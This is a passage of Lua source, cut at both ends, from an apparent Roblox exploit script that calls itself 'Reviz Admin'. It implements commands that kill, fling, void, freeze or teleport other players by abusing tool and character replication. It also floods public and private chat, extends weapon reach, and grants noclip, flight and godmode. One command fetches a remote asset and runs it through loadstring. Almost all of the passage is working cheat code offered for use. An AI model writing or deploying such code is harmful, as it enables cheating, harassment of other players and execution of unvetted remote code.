game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "LogChat enabled";
Text = "Now logging all player chat.";
})
end
if string.sub(msg, 1, 10) == (prefix.."unlogchat") then
chatlogs = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "LogChat disabled";
Text = "Stopped logging all player chat.";
})
end
if string.sub(msg, 1, 7) == (prefix.."fixcam") then
game:GetService("Workspace").CurrentCamera:Destroy()
wait(0.1)
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Humanoid
game:GetService("Workspace").CurrentCamera.CameraType = "Custom"
lplayer.CameraMinZoomDistance = 0.5
lplayer.CameraMaxZoomDistance = 400
lplayer.CameraMode = "Classic"
end
if string.sub(msg, 1, 8) == (prefix.."unstate") then
changingstate = false
end
end)

local function tp()


for i, player in ipairs(game:GetService("Players"):GetPlayers()) do
if player.Character and player.Character:FindFirstChild("HumanoidRootPart")
then
if player.Name == brplr then
player.Character.HumanoidRootPart.CFrame =
lplayer.Character.HumanoidRootPart.CFrame +
lplayer.Character.HumanoidRootPart.CFrame.lookVector * 2
end
end
end
end
local function tpall()
for i, player in ipairs(game:GetService("Players"):GetPlayers()) do
if player.Character and player.Character:FindFirstChild("HumanoidRootPart")
then
player.Character.HumanoidRootPart.CFrame =
lplayer.Character.HumanoidRootPart.CFrame +
lplayer.Character.HumanoidRootPart.CFrame.lookVector * 3
end
end
end
spawn(function()
while wait(spamdelay) do
if spamming == true then

game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(spamtext, "All")
end
end
end)
spawn(function()
while wait(spamdelay) do
if spammingpm == true then

game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer("/w "..pmspammed.."
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@", "All")
end
end
end)
spawn(function()
while wait() do
if cbring == true then
tp()
end
end
end)
spawn(function()
while wait() do
if cbringall == true then
tpall()
end
end
end)

Mouse.KeyDown:connect(function(Key)
if Key == prefix then
CMDBAR:CaptureFocus()
end
end)

CMDBAR.FocusLost:connect(function(enterPressed)
if enterPressed then
if string.sub(CMDBAR.Text, 1, 5) == ("kill ") then
if string.sub(CMDBAR.Text, 6) == "me" then
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(100000,0,100000)
else
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 6)))do
local NOW = lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
local function tp(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1:MoveTo(char2.Head.Position)
end
end
wait(0.1)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(Vector3.new(-100000,10,-100000))
wait(0.7)
tp(lplayer,game:GetService("Players")[v.Name])
wait(0.7)
lplayer.Character.HumanoidRootPart.CFrame = NOW
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("bring ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 7)))do
local NOW = lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
local function tp(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1.HumanoidRootPart.CFrame = char2.HumanoidRootPart.CFrame
end
end
local function getout(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1:MoveTo(char2.Head.Position)
end
end
tp(game:GetService("Players")[v.Name], lplayer)
wait(0.2)
tp(game:GetService("Players")[v.Name], lplayer)
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame = NOW
wait(0.5)
getout(lplayer, game:GetService("Players")[v.Name])
wait(0.3)
lplayer.Character.HumanoidRootPart.CFrame = NOW
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 5) == ("spin ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
spinplr = v
wait(0.5)
spin = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("unspin") then
spin = false
end
if string.sub(CMDBAR.Text, 1, 7) == ("attach ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 8))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
wait(0.3)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
attplr = v
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("unattach ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 10))) do
local function getout(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1:MoveTo(char2.Head.Position)
end
end
getout(lplayer, game:GetService("Players")[v.Name])
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("follow ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 8))) do
followed = true
flwplr = v
end
end
if string.sub(CMDBAR.Text, 1, 8) == ("unfollow") then
followed = false
end
if string.sub(CMDBAR.Text, 1, 9) == ("freefall ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 10))) do
local NOW = lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.6)
lplayer.Character.HumanoidRootPart.CFrame = NOW
wait(0.6)
lplayer.Character.HumanoidRootPart.CFrame = CFrame.new(0,50000,0)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("trail ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 7))) do
traill = true
trlplr = v
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("untrail") then
traill = false
end
if string.sub(CMDBAR.Text, 1, 6) == ("orbit ") then
if string.sub(CMDBAR.Text, 7) == "all" or string.sub(CMDBAR.Text, 7) ==
"others" or string.sub(CMDBAR.Text, 7) == "me" then
lplayer.Character.HumanoidRootPart.CFrame =
lplayer.Character.HumanoidRootPart.CFrame
else
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 7))) do
local o = Instance.new("RocketPropulsion")
o.Parent = lplayer.Character.HumanoidRootPart
o.Name = "Orbit"
o.Target = game:GetService("Players")
[v.Name].Character.HumanoidRootPart
o:Fire()
noclip = true
end
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("unorbit") then
lplayer.Character.HumanoidRootPart.Orbit:Destroy()
noclip = false
end
if string.sub(CMDBAR.Text, 1, 6) == ("fling ") then
if string.sub(CMDBAR.Text, 7) == "all" or string.sub(CMDBAR.Text, 7) ==
"others" or string.sub(CMDBAR.Text, 7) == "me" then
lplayer.Character.HumanoidRootPart.CFrame =
lplayer.Character.HumanoidRootPart.CFrame
else
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 7))) do
local y = Instance.new("RocketPropulsion")
y.Parent = lplayer.Character.HumanoidRootPart
y.CartoonFactor = 1
y.MaxThrust = 800000
y.MaxSpeed = 1000
y.ThrustP = 200000
y.Name = "Fling"
game:GetService("Workspace").CurrentCamera.CameraSubject =
game:GetService("Players")[v.Name].Character.Head
y.Target = game:GetService("Players")
[v.Name].Character.HumanoidRootPart
y:Fire()
noclip = true
end
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("unfling") then
noclip = false
lplayer.Character.HumanoidRootPart.Fling:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Head
wait(0.4)
lplayer.Character.HumanoidRootPart.Fling:Destroy()
end
if string.sub(CMDBAR.Text, 1, 7) == ("fecheck") then
if game:GetService("Workspace").FilteringEnabled == true then
warn("FE is Enabled (Filtering Enabled)")
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Enabled";
Text = "Filtering Enabled. Enjoy using Reviz Admin!";
})
else
warn("FE is Disabled (Filtering Disabled) Consider using a
different admin script.")
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Disabled";
Text = "Filtering Disabled. Consider using a different admin
script.";
})
end
end
if string.sub(CMDBAR.Text, 1, 5) == ("void ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.6)
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(999999999999999,0,999999999999999)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("noclip") then
noclip = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Noclip enabled";
Text = "Type ;clip to disable";
})
end
if string.sub(CMDBAR.Text, 1, 4) == ("clip") then
noclip = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Noclip disabled";
Text = "Type ;noclip to enable";
})
end
if string.sub(CMDBAR.Text, 1, 6) == ("speed ") then
lplayer.Character.Humanoid.WalkSpeed = (string.sub(CMDBAR.Text, 7))
end
if string.sub(CMDBAR.Text, 1, 3) == ("ws ") then
lplayer.Character.Humanoid.WalkSpeed = (string.sub(CMDBAR.Text, 4))
end
if string.sub(CMDBAR.Text, 1, 10) == ("hipheight ") then
lplayer.Character.Humanoid.HipHeight = (string.sub(CMDBAR.Text, 11))
end
if string.sub(CMDBAR.Text, 1, 3) == ("hh ") then
lplayer.Character.Humanoid.HipHeight = (string.sub(CMDBAR.Text, 4))
end
if string.sub(CMDBAR.Text, 1, 10) == ("jumppower ") then
lplayer.Character.Humanoid.JumpPower = (string.sub(CMDBAR.Text, 11))
end
if string.sub(CMDBAR.Text, 1, 3) == ("jp ") then
lplayer.Character.Humanoid.JumpPower = (string.sub(CMDBAR.Text, 4))
end
if string.sub(CMDBAR.Text, 1, 7) == ("default") then
lplayer.Character.Humanoid.JumpPower = 50
lplayer.Character.Humanoid.WalkSpeed = 16
lplayer.Character.Humanoid.HipHeight = 0
end
if string.sub(CMDBAR.Text, 1, 6) == ("annoy ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 7))) do
annoying = true
annplr = v
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("unannoy") then
annoying = false
end
if string.sub(CMDBAR.Text, 1, 9) == ("headwalk ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 10))) do
hwalk = true
hdwplr = v
end
end
if string.sub(CMDBAR.Text, 1, 10) == ("unheadwalk") then
hwalk = false
end
if string.sub(CMDBAR.Text, 1, 7) == ("nolimbs") then
lplayer.Character["Left Leg"]:Destroy()
lplayer.Character["Left Arm"]:Destroy()
lplayer.Character["Right Leg"]:Destroy()
lplayer.Character["Right Arm"]:Destroy()
end
if string.sub(CMDBAR.Text, 1, 3) == ("god") then
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE Godmode enabled";
Text = "Use ;grespawn or ;respawn to remove.";
})
end
if string.sub(CMDBAR.Text, 1, 8) == ("drophats") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Parent = workspace
end
end
end
if string.sub(CMDBAR.Text, 1, 8) == ("droptool") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Parent = workspace
end
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("loopdhats") then
droppinghats = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Enabled";
Text = "Type ;unloopdhats to disable";
})
end
if string.sub(CMDBAR.Text, 1, 11) == ("unloopdhats") then
droppinghats = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Disabled";
Text = "Type ;loopdhats to enable.";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("loopdtool") then
droppingtools = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Enabled";
Text = "Type ;unloopdtool to disable";
})
end
if string.sub(CMDBAR.Text, 1, 11) == ("unloopdtool") then
droppingtools = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Disabled";
Text = "Type ;loopdtool to enable.";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("invisible") then -- Credit to
Timeless
Local = game:GetService('Players').LocalPlayer
Char = Local.Character
touched,tpdback = false, false
box = Instance.new('Part',workspace)
box.Anchored = true
box.CanCollide = true
box.Size = Vector3.new(10,1,10)
box.Position = Vector3.new(0,10000,0)
box.Touched:connect(function(part)
if (part.Parent.Name == Local.Name) then
if touched == false then
touched = true
function apply()
if script.Disabled ~= true then
no = Char.HumanoidRootPart:Clone()
wait(.25)
Char.HumanoidRootPart:Destroy()
no.Parent = Char
Char:MoveTo(loc)
touched = false
end end
if Char then
apply()
end
end
end
end)
repeat wait() until Char
loc = Char.HumanoidRootPart.Position
Char:MoveTo(box.Position + Vector3.new(0,.5,0))
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Invisibility enabled!";
Text = "Reset or use ;respawn to remove.";
})
end
if string.sub(CMDBAR.Text, 1, 5) == ("view ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
if game:GetService("Players")[v.Name].Character.Humanoid then
game:GetService("Workspace").CurrentCamera.CameraSubject =
game:GetService("Players")[v.Name].Character.Humanoid
else
game:GetService("Workspace").CurrentCamera.CameraSubject =
game:GetService("Players")[v.Name].Character.Head
end
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("unview") then
if lplayer.Character.Humanoid then
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Humanoid
else
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Head
end
end
if string.sub(CMDBAR.Text, 1, 5) == ("goto ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
end
end
if string.sub(CMDBAR.Text, 1, 3) == ("fly") then
repeat wait() until lplayer and lplayer.Character and
lplayer.Character:FindFirstChild('HumanoidRootPart') and
lplayer.Character:FindFirstChild('Humanoid')
repeat wait() until Mouse

local T = lplayer.Character.HumanoidRootPart
local CONTROL = {F = 0, B = 0, L = 0, R = 0}
local lCONTROL = {F = 0, B = 0, L = 0, R = 0}
local SPEED = speedget

local function fly()


flying = true
local BG = Instance.new('BodyGyro', T)
local BV = Instance.new('BodyVelocity', T)
BG.P = 9e4
BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
BG.cframe = T.CFrame
BV.velocity = Vector3.new(0, 0.1, 0)
BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
spawn(function()
repeat wait()
lplayer.Character.Humanoid.PlatformStand = true
if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 then
SPEED = 50
elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0)
and SPEED ~= 0 then
SPEED = 0
end
if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 then
BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector *
(CONTROL.F + CONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame *
CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B) * 0.2, 0).p) -
workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0
and SPEED ~= 0 then
BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector *
(lCONTROL.F + lCONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame *
CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B) * 0.2, 0).p) -
workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
else
BV.velocity = Vector3.new(0, 0.1, 0)
end
BG.cframe = workspace.CurrentCamera.CoordinateFrame
until not flying
CONTROL = {F = 0, B = 0, L = 0, R = 0}
lCONTROL = {F = 0, B = 0, L = 0, R = 0}
SPEED = 0
BG:destroy()
BV:destroy()
lplayer.Character.Humanoid.PlatformStand = false
end)
end
Mouse.KeyDown:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = speedfly
elseif KEY:lower() == 's' then
CONTROL.B = -speedfly
elseif KEY:lower() == 'a' then
CONTROL.L = -speedfly
elseif KEY:lower() == 'd' then
CONTROL.R = speedfly
end
end)
Mouse.KeyUp:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = 0
elseif KEY:lower() == 's' then
CONTROL.B = 0
elseif KEY:lower() == 'a' then
CONTROL.L = 0
elseif KEY:lower() == 'd' then
CONTROL.R = 0
end
end)
fly()
end
if string.sub(CMDBAR.Text, 1, 5) == ("unfly") then
flying = false
lplayer.Character.Humanoid.PlatformStand = false
end
if string.sub(CMDBAR.Text, 1, 5) == ("chat ") then

game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer((string.sub(CMDBAR.Text, 6)), "All")
end
if string.sub(CMDBAR.Text, 1, 5) == ("spam ") then
spamtext = (string.sub(CMDBAR.Text, 6))
spamming = true
end
if string.sub(CMDBAR.Text, 1, 6) == ("unspam") then
spamming = false
end
if string.sub(CMDBAR.Text, 1, 9) == ("spamwait ") then
spamdelay = (string.sub(CMDBAR.Text, 10))
end
if string.sub(CMDBAR.Text, 1, 7) == ("pmspam ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 8))) do
pmspammed = v.Name
spammingpm = true
end
end
if string.sub(CMDBAR.Text, 1, 8) == ("unpmspam") then
spammingpm = false
end
if string.sub(CMDBAR.Text, 1, 8) == ("cfreeze ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 9))) do
v.Character["Left Leg"].Anchored = true
v.Character["Left Arm"].Anchored = true
v.Character["Right Leg"].Anchored = true
v.Character["Right Arm"].Anchored = true
v.Character.Torso.Anchored = true
v.Character.Head.Anchored = true
end
end
if string.sub(CMDBAR.Text, 1, 10) == ("uncfreeze ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 11))) do
v.Character["Left Leg"].Anchored = false
v.Character["Left Arm"].Anchored = false
v.Character["Right Leg"].Anchored = false
v.Character["Right Arm"].Anchored = false
v.Character.Torso.Anchored = false
v.Character.Head.Anchored = false
end
end
if string.sub(CMDBAR.Text, 1, 8) == ("unlockws") then
local a = game:GetService("Workspace"):getChildren()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Locked = false
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part" then
r[i].Locked = false
end
end
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "Workspace unlocked. Use ;lockws to lock.";
})
end
if string.sub(CMDBAR.Text, 1, 6) == ("lockws") then
local a = game:GetService("Workspace"):getChildren()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Locked = true
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part" then
r[i].Locked = true
end
end
end
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("btools") then
local Clone_T = Instance.new("HopperBin",lplayer.Backpack)
Clone_T.BinType = "Clone"
local Destruct = Instance.new("HopperBin",lplayer.Backpack)
Destruct.BinType = "Hammer"
local Hold_T = Instance.new("HopperBin",lplayer.Backpack)
Hold_T.BinType = "Grab"
end
if string.sub(CMDBAR.Text, 1, 6) == ("pstand") then
lplayer.Character.Humanoid.PlatformStand = true
end
if string.sub(CMDBAR.Text, 1, 8) == ("unpstand") then
lplayer.Character.Humanoid.PlatformStand = false
end
if string.sub(CMDBAR.Text, 1, 9) == ("blockhead") then
lplayer.Character.Head.Mesh:Destroy()
end
if string.sub(CMDBAR.Text, 1, 3) == ("sit") then
lplayer.Character.Humanoid.Sit = true
end
if string.sub(CMDBAR.Text, 1, 9) == ("bringobj ") then
local function bringobjw()
for i,obj in ipairs(game:GetService("Workspace"):GetDescendants()) do
if obj.Name == (string.sub(CMDBAR.Text, 10)) then
obj.CFrame = lplayer.Character.HumanoidRootPart.CFrame
obj.CanCollide = false
obj.Transparency = 0.7
wait()
obj.CFrame = lplayer.Character["Left Leg"].CFrame
wait()
obj.CFrame = lplayer.Character["Right Leg"].CFrame
wait()
obj.CFrame = lplayer.Character["Head"].CFrame
end
end
end
while wait() do
bringobjw()
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "BringObj";
Text = "BringObj enabled.";
})
end
if string.sub(CMDBAR.Text, 1, 6) == ("wsvis ") then
vis = (string.sub(CMDBAR.Text, 7))
local a = game:GetService("Workspace"):GetDescendants()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Transparency = vis
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part" then
r[i].Transparency = vis
end
end
end
end
end
if string.sub(CMDBAR.Text, 1, 10) == ("hypertotal") then
loadstring(game:GetObjects("rbxassetid://1255063809")[1].Source)()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "HyperTotal GUI Loaded!";
})
end
if string.sub(CMDBAR.Text, 1, 4) == ("cmds") then
CMDSFRAME.Visible = true
end
if string.sub(CMDBAR.Text, 1, 9) == ("rmeshhats") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("blockhats") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("rmeshtool") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("blocktool") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("spinner") then
local p = Instance.new("RocketPropulsion")
p.Parent = lplayer.Character.HumanoidRootPart
p.Name = "Spinner"
p.Target = lplayer.Character["Left Arm"]
p:Fire()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Spinner enabled";
Text = "Type ;nospinner to disable.";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("nospinner") then
lplayer.Character.HumanoidRootPart.Spinner:Destroy()
end
if string.sub(CMDBAR.Text, 1, 6) == ("reachd") then
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Character:GetChildren())do
if v:isA("Tool") then
local a = Instance.new("SelectionBox",v.Handle)
a.Adornee = v.Handle
v.Handle.Size = Vector3.new(0.5,0.5,60)
v.GripPos = Vector3.new(0,0,0)
lplayer.Character.Humanoid:UnequipTools()
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach applied!";
Text = "Applied to equipped sword. Use ;noreach to disable.";
})
end
if string.sub(CMDBAR.Text, 1, 6) == ("reach ") then
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Character:GetChildren())do
if v:isA("Tool") then
local a = Instance.new("SelectionBox",v.Handle)
a.Name = "Reach"
a.Adornee = v.Handle
v.Handle.Size = Vector3.new(0.5,0.5,(string.sub(CMDBAR.Text,
7)))
v.GripPos = Vector3.new(0,0,0)
lplayer.Character.Humanoid:UnequipTools()
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach applied!";
Text = "Applied to equipped sword. Use ;noreach to disable.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("noreach") then
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Character:GetChildren())do
if v:isA("Tool") then
v.Handle.Reach:Destroy()
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach removed!";
Text = "Removed reach from equipped sword.";
})
end
if string.sub(CMDBAR.Text, 1, 6) == ("rkill ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 7)))do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
wait(0.1)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
